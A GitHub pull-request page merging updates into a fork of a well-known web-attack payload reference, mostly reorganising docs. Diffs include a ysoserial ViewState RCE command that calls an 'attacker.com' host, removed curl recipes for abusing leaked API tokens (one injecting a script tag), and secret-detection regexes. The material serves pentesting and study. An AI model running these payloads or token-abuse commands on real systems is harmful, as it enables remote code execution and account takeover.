Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

[pull] master from swisskyrepo:master #621

Merged
merged 94 commits into from
Dec 31, 2024
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
Show all changes
94 commits
Select commit Hold shift + click to select a range
ca3ab6e
Add a few XSS filter bypass cases
isacaya Jun 18, 2024
8e05a2d
XSS in SVG: more examples + nesting
noraj Jun 19, 2024
4cf17a3
Update SSRF with redirect examples using r3dir README.md
Horlad Jun 27, 2024
b521ded
Adding r3dir tool to SSRF README.md
Horlad Jun 27, 2024
1a475b6
added bypass techniques
Xhoenix Jul 15, 2024
80707e8
added bypass techniques
Xhoenix Jul 25, 2024
0aac7e8
Update README.md
R4yGM Jul 28, 2024
d75e4fa
Update README.md
omranisecurity Sep 3, 2024
77f83c1
update quote evasion payloads
Xhoenix Sep 6, 2024
6602d48
Update deep_traversal.txt
NoPurposeInLife Sep 10, 2024
975dde6
added 'xss_alert_identifiable.txt'
FatEarthler Sep 14, 2024
04eb1eb
Update README.md
Xhoenix Sep 17, 2024
c4a19f8
Add LFImap tool
hansmach1ne Sep 30, 2024
faeee72
Update README.md
TRKBKR Oct 13, 2024
223d618
Merge branch 'swisskyrepo:master' into master
TRKBKR Oct 30, 2024
873ac0e
Update MySQL Injection.md
NoPurposeInLife Oct 31, 2024
f11771b
Merge pull request #753 from NoPurposeInLife/patch-2
swisskyrepo Oct 31, 2024
690c776
Moving CICD to IATT repository
swisskyrepo Nov 1, 2024
6b8ca37
Merge branch 'master' of https://github.com/swisskyrepo/PayloadsAllTh…
swisskyrepo Nov 1, 2024
eca0bd1
SSTI: engine detection
noraj Nov 1, 2024
53ba293
Merge pull request #729 from noraj/patch-1
swisskyrepo Nov 2, 2024
acb509d
SVG XSS fix typo from #729 + files
swisskyrepo Nov 2, 2024
e3877d1
Merge pull request #739 from FatEarthler/master
swisskyrepo Nov 2, 2024
7efac51
Merge pull request #742 from hansmach1ne/master
swisskyrepo Nov 2, 2024
89c4098
Merge pull request #754 from noraj/patch-2
swisskyrepo Nov 2, 2024
eb47950
Merge pull request #746 from TRKBKR/master
swisskyrepo Nov 2, 2024
a4277d5
Merge pull request #738 from NoPurposeInLife/patch-1
swisskyrepo Nov 2, 2024
88ab522
Merge pull request #737 from omranisecurity/master
swisskyrepo Nov 2, 2024
d0c4454
Merge pull request #734 from R4yGM/patch-1
swisskyrepo Nov 2, 2024
9866fef
Bypass CSP, technique from #715
swisskyrepo Nov 2, 2024
6e77f62
Merge pull request #728 from isacaya/add_xss_bypass
swisskyrepo Nov 2, 2024
11d1704
Merge pull request #730 from Horlad/master
swisskyrepo Nov 2, 2024
b29edef
Merge pull request #732 from Xhoenix/master
swisskyrepo Nov 2, 2024
d77ef2c
Templating Libraries Tables
swisskyrepo Nov 2, 2024
944fe0d
SQLmap tips moved from SQL README to their own page
swisskyrepo Nov 2, 2024
a5de8cf
SQL injections references updates
swisskyrepo Nov 3, 2024
ff88aa1
Fix nested lists
swisskyrepo Nov 3, 2024
51fe542
nested_indent in mkdocs
swisskyrepo Nov 3, 2024
21dfd91
SSTI references updates
swisskyrepo Nov 3, 2024
138fbd9
Account Takeover References
swisskyrepo Nov 3, 2024
4dc409d
References updated for API, Business, Clickjacking, CSPT, Command
swisskyrepo Nov 4, 2024
e138308
References updated for CORS CRLF CSV
swisskyrepo Nov 4, 2024
e47391b
References updated for Dom Clobbering, File Inclusion
swisskyrepo Nov 5, 2024
7e39026
References added for GWT, GraphQL, HTTP, Headless
swisskyrepo Nov 6, 2024
ccffaa5
References updated for IDOR, Radomness and SCM
swisskyrepo Nov 7, 2024
b80b72d
References updated for JWT, RMI, LDAP, LaTeX
swisskyrepo Nov 7, 2024
a590290
PostgreSQL privilege list update
n3rada Nov 7, 2024
9ed40ed
References updated for NoSQL, OAuth, ORM, Prompt, RegEx
swisskyrepo Nov 7, 2024
df8d4d7
References updated for SAML, SSI, SSRF
swisskyrepo Nov 7, 2024
ffa5ea7
Merge pull request #755 from n3rada/patch-1
swisskyrepo Nov 7, 2024
b2bb1df
References addded for SQLi, Upload, SSTI, Type Juggling
swisskyrepo Nov 7, 2024
37641d2
References updated for XPATH, XSLT, XXE, Web Socket
swisskyrepo Nov 7, 2024
5c60cd7
Add CVE-2023–5123 in CSPT2CSRF real world scenario
Fisjkars Nov 8, 2024
4f0e633
References updated for XSS + page splitted in subcategories
swisskyrepo Nov 8, 2024
70fb63a
Merge pull request #756 from Fisjkars/patch-1
swisskyrepo Nov 8, 2024
c82cd64
Renaming Subdomain Enumeration to Web Attack Surface
swisskyrepo Nov 9, 2024
d80f73a
Normalize page header for API, CSPT, CORS, CSRF
swisskyrepo Nov 9, 2024
2deb20a
Normalize page header for CSRF, DNS, DOS, Dependencies
swisskyrepo Nov 10, 2024
2304101
Normalize page header for GraphQL, Deserialization, SCM
swisskyrepo Nov 10, 2024
1a3e605
Normalize page header for JWT, LDAP, LaTeX, OAuth, ORM
swisskyrepo Nov 10, 2024
a338b2f
Normalize page header for SSTI, SAML, SSI
swisskyrepo Nov 10, 2024
48a4e5c
Normalize page header for SQLi, Upload, Cache Deception
swisskyrepo Nov 10, 2024
0a5ecc4
Normalize page header for Web Socket, XSLT, XSS, XXE
swisskyrepo Nov 10, 2024
118924f
Challenges added for CRLF, Command Injection, File Inclusion
swisskyrepo Nov 12, 2024
d6ce9cd
Github Action - Markdown Linting for PR
swisskyrepo Nov 13, 2024
dc349c1
Update _template_vuln page
swisskyrepo Nov 13, 2024
f333d48
Fix invalid spaces indents
swisskyrepo Nov 13, 2024
a6b3b9d
CONTRIBUTING page updates - adding rules
swisskyrepo Nov 13, 2024
8bc33f8
Fix markdown style issues in Account Takeover
swisskyrepo Nov 13, 2024
cde11da
SQL Injection - Methodology
swisskyrepo Nov 15, 2024
f57d081
SQL - MySQL Page Cleanup
swisskyrepo Nov 15, 2024
67af38a
SQL Injections - Updates for MSSQL, Oracle, PostgreSQL
swisskyrepo Nov 15, 2024
9a908a1
MSSQL, OracleSQL, PostgreSQL Substring Equivalent
swisskyrepo Nov 16, 2024
3c5bab0
SQL - File Manipulation and Error Based Injection
swisskyrepo Nov 16, 2024
b98f8ca
DB2 Injection updates
swisskyrepo Nov 17, 2024
9932059
YAML Deserialization
swisskyrepo Nov 17, 2024
846706b
XXE on JSON Endpoints
swisskyrepo Nov 18, 2024
98cfc9c
XXE Error Based Local DTD
swisskyrepo Nov 18, 2024
0108d01
Edge Side Inclusion
swisskyrepo Nov 18, 2024
4e03772
API Key rework
swisskyrepo Nov 18, 2024
35109b4
CORS and CRLF updates
swisskyrepo Nov 24, 2024
6bfad6a
SSTI - SpEL
swisskyrepo Nov 25, 2024
9425cec
Handlebars - Basic Injection
swisskyrepo Nov 25, 2024
57f7c8d
ViewState Java
swisskyrepo Nov 27, 2024
a16f8a6
Path Traversal + CSV Injection
swisskyrepo Nov 28, 2024
e6466b4
LFI/RFI pages
swisskyrepo Nov 29, 2024
801aecb
GraphQL + HPP
swisskyrepo Nov 29, 2024
6795bee
LDAP + LaTeX + Management Interface
swisskyrepo Nov 29, 2024
29f4693
NoSQL + Open Redirect
swisskyrepo Nov 29, 2024
8b27a17
Indirect Prompt Injection
swisskyrepo Nov 29, 2024
8c09568
Regex + SSRF
swisskyrepo Nov 30, 2024
32d9f75
XPATH + XSS + XXE + XSLT
swisskyrepo Nov 30, 2024
e42edaa
Learning and Socials updates
swisskyrepo Dec 1, 2024
3871607
Books update
swisskyrepo Dec 1, 2024
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
6 changes: 6 additions & 0 deletions .github/.markdownlint.json
Original file line number Diff line number Diff line change
@@ -0,0 +1,6 @@
{
"MD013": false,
"ul-indent": {
"indent": 4
}
}
23 changes: 23 additions & 0 deletions .github/workflows/check-markdown.yml
Original file line number Diff line number Diff line change
@@ -0,0 +1,23 @@
name: check-markdown
on: [pull_request]

jobs:
lint:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
with:
fetch-depth: 0

- uses: tj-actions/changed-files@v45
id: changed-files
with:
files: '**/*.md'
separator: ","

- uses: DavidAnson/markdownlint-cli2-action@v17
if: steps.changed-files.outputs.any_changed == 'true'
with:
globs: ${{ steps.changed-files.outputs.all_changed_files }}
separator: ","
config: ./.github/.markdownlint.json
Original file line number Diff line number Diff line change
@@ -1,4 +1,4 @@
name: ci
name: mkdocs-build
on:
push:
branches:
Expand Down Expand Up @@ -30,5 +30,6 @@ jobs:
- run: pip install mkdocs-git-revision-date-localized-plugin
- run: pip install mkdocs-git-committers-plugin
- run: pip install mkdocs-material[imaging]
- run: pip install mdx_truly_sane_lists
- run: mkdocs gh-deploy --force

42 changes: 28 additions & 14 deletions API Key Leaks/IIS-Machine-Keys.md
Original file line number Diff line number Diff line change
Expand Up @@ -2,10 +2,18 @@

> That machine key is used for encryption and decryption of forms authentication cookie data and view-state data, and for verification of out-of-process session state identification.

**Requirements**
## Summary

* `__VIEWSTATE`
* `__VIEWSTATEGENERATOR`*
* [Viewstate Format](#viewstate-format)
* [Machine Key Format And Locations](#machine-key-format-and-locations)
* [Identify Known Machine Key](#identify-known-machine-key)
* [Decode ViewState](#decode-viewstate)
* [Generate ViewState For RCE](#generate-viewstate-for-rce)
* [MAC Is Not Enabled](#mac-is-not-enabled)
* [MAC Is Enabled And Encryption Is Disabled](#mac-is-enabled-and-encryption-is-disabled)
* [MAC Is Enabled And Encryption Is Enabled](#mac-is-enabled-and-encryption-is-enabled)
* [Edit Cookies With The Machine Key](#edit-cookies-with-the-machine-key)
* [References](#references)


## Viewstate Format
Expand All @@ -22,7 +30,7 @@ By default until Sept 2014, the `enableViewStateMac` property was to set to `Fal
Usually unencrypted viewstate are starting with the string `/wEP`.


## Machine Key Format and Locations
## Machine Key Format And Locations

A machineKey in IIS is a configuration element in ASP.NET that specifies cryptographic keys and algorithms used for encrypting and validating data, such as view state and forms authentication tokens. It ensures consistency and security across web applications, especially in web farm environments.

Expand Down Expand Up @@ -59,7 +67,7 @@ Common locations of **web.config** / **machine.config**
* `HKEY_CURRENT_USER\Software\Microsoft\ASP.NET\2.0.50727.0\AutoGenKey`


## Identify known machine key
## Identify Known Machine Key

Try multiple machine keys from known products, Microsoft documentation, or other part of the Internet.

Expand Down Expand Up @@ -117,18 +125,24 @@ List of interesting machine keys to use:
```


## Generate ViewState for RCE
## Generate ViewState For RCE

First you need to decode the Viewstate to know if the MAC and the encryption are enabled.

### MAC is not enabled
**Requirements**

* `__VIEWSTATE`
* `__VIEWSTATEGENERATOR`


### MAC Is Not Enabled

```ps1
ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/:UserName"
```


### MAC is enabled and Encryption is disabled
### MAC Is Enabled And Encryption Is Disabled

* Find the machine key (validationkey) using `badsecrets`, `viewstalker`, `AspDotNetWrapper.exe` or `viewgen`
```ps1
Expand All @@ -147,7 +161,7 @@ ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "power
```


### MAC is enabled and Encryption is enabled
### MAC Is Enabled And Encryption Is Enabled

Default validation algorithm is `HMACSHA256` and the default decryption algorithm is `AES`.

Expand All @@ -164,7 +178,7 @@ If the `__VIEWSTATEGENERATOR` is missing but the application uses .NET Framework
```


## Edit cookies with the machine key
## Edit Cookies With The Machine Key

If you have the `machineKey` but the viewstate is disabled.

Expand All @@ -181,8 +195,8 @@ $ AspDotNetWrapper.exe --decryptDataFilePath C:\DecryptedText.txt

## References

* [Deep Dive into .NET ViewState Deserialization and Its Exploitation - Swapneil Kumar Dash - October 22, 2019](https://swapneildash.medium.com/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817)
* [Exploiting Deserialisation in ASP.NET via ViewState - Soroush Dalili - April 23, 2019](https://soroush.me/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
* [Exploiting ViewState Deserialization using Blacklist3r and YSoSerial.Net - claranet - 13/06/2019](https://www.claranet.com/us/blog/2019-06-13-exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserialnet)
* [View State, The unpatchable IIS forever day being actively exploited - zeroed.tech - 21-7-2024](https://zeroed.tech/blog/viewstate-the-unpatchable-iis-forever-day-being-actively-exploited/)
* [Project Blacklist3r - November 23, 2018 - @notsosecure](https://www.notsosecure.com/project-blacklist3r/)
* [Deep Dive into .NET ViewState deserialization and its exploitation - Swapneil Kumar Dash - Oct 22, 2019](https://swapneildash.medium.com/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817)
* [Exploiting ViewState Deserialization using Blacklist3r and YSoSerial.Net - Claranet - June 13, 2019](https://www.claranet.com/us/blog/2019-06-13-exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserialnet)
* [Project Blacklist3r - @notsosecure - November 23, 2018](https://www.notsosecure.com/project-blacklist3r/)
* [View State, The Unpatchable IIS Forever Day Being Actively Exploited - Zeroed - July 21, 2024](https://zeroed.tech/blog/viewstate-the-unpatchable-iis-forever-day-being-actively-exploited/)
184 changes: 53 additions & 131 deletions API Key Leaks/README.md
Original file line number Diff line number Diff line change
@@ -1,173 +1,95 @@
# API Key and Token Leaks

> The API key is a unique identifier that is used to authenticate requests associated with your project. Some developers might hardcode them or leave it on public shares.
> API keys and tokens are forms of authentication commonly used to manage permissions and access to both public and private services. Leaking these sensitive pieces of data can lead to unauthorized access, compromised security, and potential data breaches.

## Summary

- [Tools](#tools)
- [Exploit](#exploit)
- [Google Maps](#google-maps)
- [Algolia](#algolia)
- [Slack API Token](#slack-api-token)
- [Facebook Access Token](#facebook-access-token)
- [Github client id and client secret](#github-client-id-and-client-secret)
- [Twilio Account_sid and Auth Token](#twilio-account_sid-and-auth-token)
- [Twitter API Secret](#twitter-api-secret)
- [Twitter Bearer Token](#twitter-bearer-token)
- [Gitlab Personal Access Token](#gitlab-personal-access-token)
- [HockeyApp API Token](#hockeyapp-api-token)
- [Mapbox API Token](#mapbox-api-token)
- [Methodology](#exploit)
- [Common Causes of Leaks](#common-causes-of-leaks)
- [Validate The API Key](#validate-the-api-key)
- [References](#references)


## Tools

- [aquasecurity/trivy](https://github.com/aquasecurity/trivy) - General purpose vulnerability and misconfiguration scanner which also searches for API keys/secrets
- [blacklanternsecurity/badsecrets](https://github.com/blacklanternsecurity/badsecrets) - A library for detecting known or weak secrets on across many platforms
- [d0ge/sign-saboteur](https://github.com/d0ge/sign-saboteur) - SignSaboteur is a Burp Suite extension for editing, signing, verifying various signed web tokens
- [mazen160/secrets-patterns-db](https://github.com/mazen160/secrets-patterns-db) - Secrets Patterns DB: The largest open-source Database for detecting secrets, API keys, passwords, tokens, and more.
- [momenbasel/KeyFinder](https://github.com/momenbasel/KeyFinder) - is a tool that let you find keys while surfing the web
- [streaak/keyhacks](https://github.com/streaak/keyhacks) - is a repository which shows quick ways in which API keys leaked by a bug bounty program can be checked to see if they're valid
- [trufflesecurity/truffleHog](https://github.com/trufflesecurity/truffleHog) - Find credentials all over the place
```ps1
## Scan a Github Organization
docker run --rm -it -v "$PWD:/pwd" trufflesecurity/trufflehog:latest github --org=trufflesecurity

## Scan a GitHub Repository, its Issues and Pull Requests
docker run --rm -it -v "$PWD:/pwd" trufflesecurity/trufflehog:latest github --repo https://github.com/trufflesecurity/test_keys --issue-comments --pr-comments

## Scan a Docker image for verified secrets
docker run --rm -it -v "$PWD:/pwd" trufflesecurity/trufflehog:latest docker --image trufflesecurity/secrets
```
- [aquasecurity/trivy](https://github.com/aquasecurity/trivy) - General purpose vulnerability and misconfiguration scanner which also searches for API keys/secrets
- [projectdiscovery/nuclei-templates](https://github.com/projectdiscovery/nuclei-templates) - Use these templates to test an API token against many API service endpoints
```powershell
nuclei -t token-spray/ -var token=token_list.txt
```
- [blacklanternsecurity/badsecrets](https://github.com/blacklanternsecurity/badsecrets) - A library for detecting known or weak secrets on across many platforms
```ps1
python examples/cli.py --url http://example.com/contains_bad_secret.html
python examples/cli.py eyJhbGciOiJIUzI1NiJ9.eyJJc3N1ZXIiOiJJc3N1ZXIiLCJVc2VybmFtZSI6IkJhZFNlY3JldHMiLCJleHAiOjE1OTMxMzM0ODMsImlhdCI6MTQ2NjkwMzA4M30.ovqRikAo_0kKJ0GVrAwQlezymxrLGjcEiW_s3UJMMCo
python ./badsecrets/examples/blacklist3r.py --viewstate /wEPDwUJODExMDE5NzY5ZGQMKS6jehX5HkJgXxrPh09vumNTKQ== --generator EDD8C9AE
python ./badsecrets/examples/telerik_knownkey.py --url http://vulnerablesite/Telerik.Web.UI.DialogHandler.aspx
python ./badsecrets/examples/symfony_knownkey.py --url https://localhost/
```
- [mazen160/secrets-patterns-db](https://github.com/mazen160/secrets-patterns-db) - Secrets Patterns DB: The largest open-source Database for detecting secrets, API keys, passwords, tokens, and more.
- [d0ge/sign-saboteur](https://github.com/d0ge/sign-saboteur) - SignSaboteur is a Burp Suite extension for editing, signing, verifying various signed web tokens


## Exploit

The following commands can be used to takeover accounts or extract personal information from the API using the leaked token.

### Google Maps

* [ozguralp/gmapsapiscanner/](https://github.com/ozguralp/gmapsapiscanner/) - Google Maps API Scanner

| Name | Endpoint |
| --------------------- | --------- |
| Static Maps | [/maps/api/staticmap?key=KEY](https://maps.googleapis.com/maps/api/staticmap?center=45%2C10&zoom=7&size=400x400&key=KEY) |
| Streetview | [/maps/api/streetview?key=KEY](https://maps.googleapis.com/maps/api/streetview?size=400x400&location=40.720032,-73.988354&fov=90&heading=235&pitch=10&key=KEY) |
| Embed | [/maps/embed/v1/place?key=KEY](https://www.google.com/maps/embed/v1/place?q=place_id:ChIJyX7muQw8tokR2Vf5WBBk1iQ&key=KEY) |
| Directions | [/maps/api/directions/json?key=KEY](https://maps.googleapis.com/maps/api/directions/json?origin=Disneyland&destination=Universal+Studios+Hollywood4&key=KEY) |
| Geocoding | [/maps/api/geocode/json?key=KEY](https://maps.googleapis.com/maps/api/geocode/json?latlng=40,30&key=KEY) |
| Distance Matrix | [/maps/api/distancematrix/json?key=KEY](https://maps.googleapis.com/maps/api/distancematrix/json?units=imperial&origins=40.6655101,-73.89188969999998&destinations=40.6905615%2C-73.9976592%7C40.6905615%2C-73.9976592%7C40.6905615%2C-73.9976592%7C40.6905615%2C-73.9976592%7C40.6905615%2C-73.9976592%7C40.6905615%2C-73.9976592%7C40.659569%2C-73.933783%7C40.729029%2C-73.851524%7C40.6860072%2C-73.6334271%7C40.598566%2C-73.7527626%7C40.659569%2C-73.933783%7C40.729029%2C-73.851524%7C40.6860072%2C-73.6334271%7C40.598566%2C-73.7527626&key=KEY) |
| Find Place from Text | [/maps/api/place/findplacefromtext/json?key=KEY](https://maps.googleapis.com/maps/api/place/findplacefromtext/json?input=Museum%20of%20Contemporary%20Art%20Australia&inputtype=textquery&fields=photos,formatted_address,name,rating,opening_hours,geometry&key=KEY) |
| Autocomplete | [/maps/api/place/autocomplete/json?key=KEY](https://maps.googleapis.com/maps/api/place/autocomplete/json?input=Bingh&types=%28cities%29&key=KEY) |
| Elevation | [/maps/api/elevation/json?key=KEY](https://maps.googleapis.com/maps/api/elevation/json?locations=39.7391536,-104.9847034&key=KEY) |
| Timezone | [/maps/api/timezone/json?key=KEY](https://maps.googleapis.com/maps/api/timezone/json?location=39.6034810,-119.6822510&timestamp=1331161200&key=KEY) |
| Roads | [roads.googleapis.com/v1/nearestRoads?key=KEY](https://roads.googleapis.com/v1/nearestRoads?points=60.170880,24.942795&key=KEY) |
| Geolocate | [www.googleapis.com/geolocation/v1/geolocate?key=KEY](https://www.googleapis.com/geolocation/v1/geolocate?key=KEY) |


**Impact**:

* Consuming the company's monthly quota or can over-bill with unauthorized usage of this service and do financial damage to the company
* Conduct a denial of service attack specific to the service if any limitation of maximum bill control settings exist in the Google account


### Algolia

```powershell
curl --request PUT \
--url https://<application-id>-1.algolianet.com/1/indexes/<example-index>/settings \
--header 'content-type: application/json' \
--header 'x-algolia-api-key: <example-key>' \
--header 'x-algolia-application-id: <example-application-id>' \
--data '{"highlightPreTag": "<script>alert(1);</script>"}'
```


### Slack API Token
## Methodology

```powershell
curl -sX POST "https://slack.com/api/auth.test?token=xoxp-TOKEN_HERE&pretty=1"
```


### Facebook Access Token

```powershell
curl https://developers.facebook.com/tools/debug/accesstoken/?access_token=ACCESS_TOKEN_HERE&version=v3.2
```


### Github client id and client secret

```powershell
curl 'https://api.github.com/users/whatever?client_id=xxxx&client_secret=yyyy'
```


### Twilio Account_sid and Auth token

```powershell
curl -X GET 'https://api.twilio.com/2010-04-01/Accounts.json' -u ACCOUNT_SID:AUTH_TOKEN
```
* **API Keys**: Unique identifiers used to authenticate requests associated with your project or application.
* **Tokens**: Security tokens (like OAuth tokens) that grant access to protected resources.

### Common Causes of Leaks

* **Hardcoding in Source Code**: Developers may unintentionally leave API keys or tokens directly in the source code.

### Twitter API Secret
```py
# Example of hardcoded API key
api_key = "1234567890abcdef"
```

```powershell
curl -u 'API key:API secret key' --data 'grant_type=client_credentials' 'https://api.twitter.com/oauth2/token'
```
* **Public Repositories**: Accidentally committing sensitive keys and tokens to publicly accessible version control systems like GitHub.

```ps1
## Scan a Github Organization
docker run --rm -it -v "$PWD:/pwd" trufflesecurity/trufflehog:latest github --org=trufflesecurity

## Scan a GitHub Repository, its Issues and Pull Requests
docker run --rm -it -v "$PWD:/pwd" trufflesecurity/trufflehog:latest github --repo https://github.com/trufflesecurity/test_keys --issue-comments --pr-comments
```

### Twitter Bearer Token
* **Hardcoding in Docker Images**: API keys and credentials might be hardcoded in Docker images hosted on DockerHub or private registries.

```powershell
curl --request GET --url https://api.twitter.com/1.1/account_activity/all/subscriptions/count.json --header 'authorization: Bearer TOKEN'
```
```ps1
# Scan a Docker image for verified secrets
docker run --rm -it -v "$PWD:/pwd" trufflesecurity/trufflehog:latest docker --image trufflesecurity/secrets
```

* **Logs and Debug Information**: Keys and tokens might be inadvertently logged or printed during debugging processes.

### Gitlab Personal Access Token
* **Configuration Files**: Including keys and tokens in publicly accessible configuration files (e.g., .env files, config.json, settings.py, or .aws/credentials.).

```powershell
curl "https://gitlab.example.com/api/v4/projects?private_token=<your_access_token>"
```

### Validate The API Key

### HockeyApp API Token
If assistance is needed in identifying the service that generated the token, [mazen160/secrets-patterns-db](https://github.com/mazen160/secrets-patterns-db) can be consulted. It is the largest open-source database for detecting secrets, API keys, passwords, tokens, and more. This database contains regex patterns for various secrets.

```powershell
curl -H "X-HockeyAppToken: ad136912c642076b0d1f32ba161f1846b2c" https://rink.hockeyapp.net/api/2/apps/2021bdf2671ab09174c1de5ad147ea2ba4
```yaml
patterns:
- pattern:
name: AWS API Gateway
regex: '[0-9a-z]+.execute-api.[0-9a-z._-]+.amazonaws.com'
confidence: low
- pattern:
name: AWS API Key
regex: AKIA[0-9A-Z]{16}
confidence: high
```

Use [streaak/keyhacks](https://github.com/streaak/keyhacks) or read the documentation of the service to find a quick way to verify the validity of an API key.

### Mapbox API Token

A Mapbox API Token is a JSON Web Token (JWT). If the header of the JWT is `sk`, jackpot. If it's `pk` or `tk`, it's not worth your time.
* **Example**: Telegram Bot API Token

* Check token validity:
```ps1
curl "https://api.mapbox.com/tokens/v2?access_token=YOUR_MAPBOX_ACCESS_TOKEN"
```

* Get list of all tokens associated with an account (only works if the token is a Secret Token (sk), and has the appropriate scope)
```ps1
curl "https://api.mapbox.com/tokens/v2/MAPBOX_USERNAME_HERE?access_token=YOUR_MAPBOX_ACCESS_TOKEN"
curl https://api.telegram.org/bot<TOKEN>/getMe
```


## References

* [Finding Hidden API Keys & How to use them - Sumit Jain - August 24, 2019](https://medium.com/@sumitcfe/finding-hidden-api-keys-how-to-use-them-11b1e5d0f01d)
* [Private API key leakage due to lack of access control - yox - August 8, 2018](https://hackerone.com/reports/376060)
* [Saying Goodbye to my Favorite 5 Minute P1 - Allyson O'Malley - January 6, 2020](https://www.allysonomalley.com/2020/01/06/saying-goodbye-to-my-favorite-5-minute-p1/)
* [Mapbox API Token Documentation](https://docs.mapbox.com/help/troubleshooting/how-to-use-mapbox-securely/)
* [Introducing SignSaboteur: forge signed web tokens with ease - Zakhar Fedotkin - 22 May 2024](https://portswigger.net/research/introducing-signsaboteur-forge-signed-web-tokens-with-ease)
* [Finding Hidden API Keys & How to Use Them - Sumit Jain - August 24, 2019](https://web.archive.org/web/20191012175520/https://medium.com/@sumitcfe/finding-hidden-api-keys-how-to-use-them-11b1e5d0f01d)
* [Introducing SignSaboteur: Forge Signed Web Tokens with Ease - Zakhar Fedotkin - May 22, 2024](https://portswigger.net/research/introducing-signsaboteur-forge-signed-web-tokens-with-ease)
* [Private API Key Leakage Due to Lack of Access Control - yox - August 8, 2018](https://hackerone.com/reports/376060)
* [Saying Goodbye to My Favorite 5 Minute P1 - Allyson O'Malley - January 6, 2020](https://www.allysonomalley.com/2020/01/06/saying-goodbye-to-my-favorite-5-minute-p1/)
Loading
Loading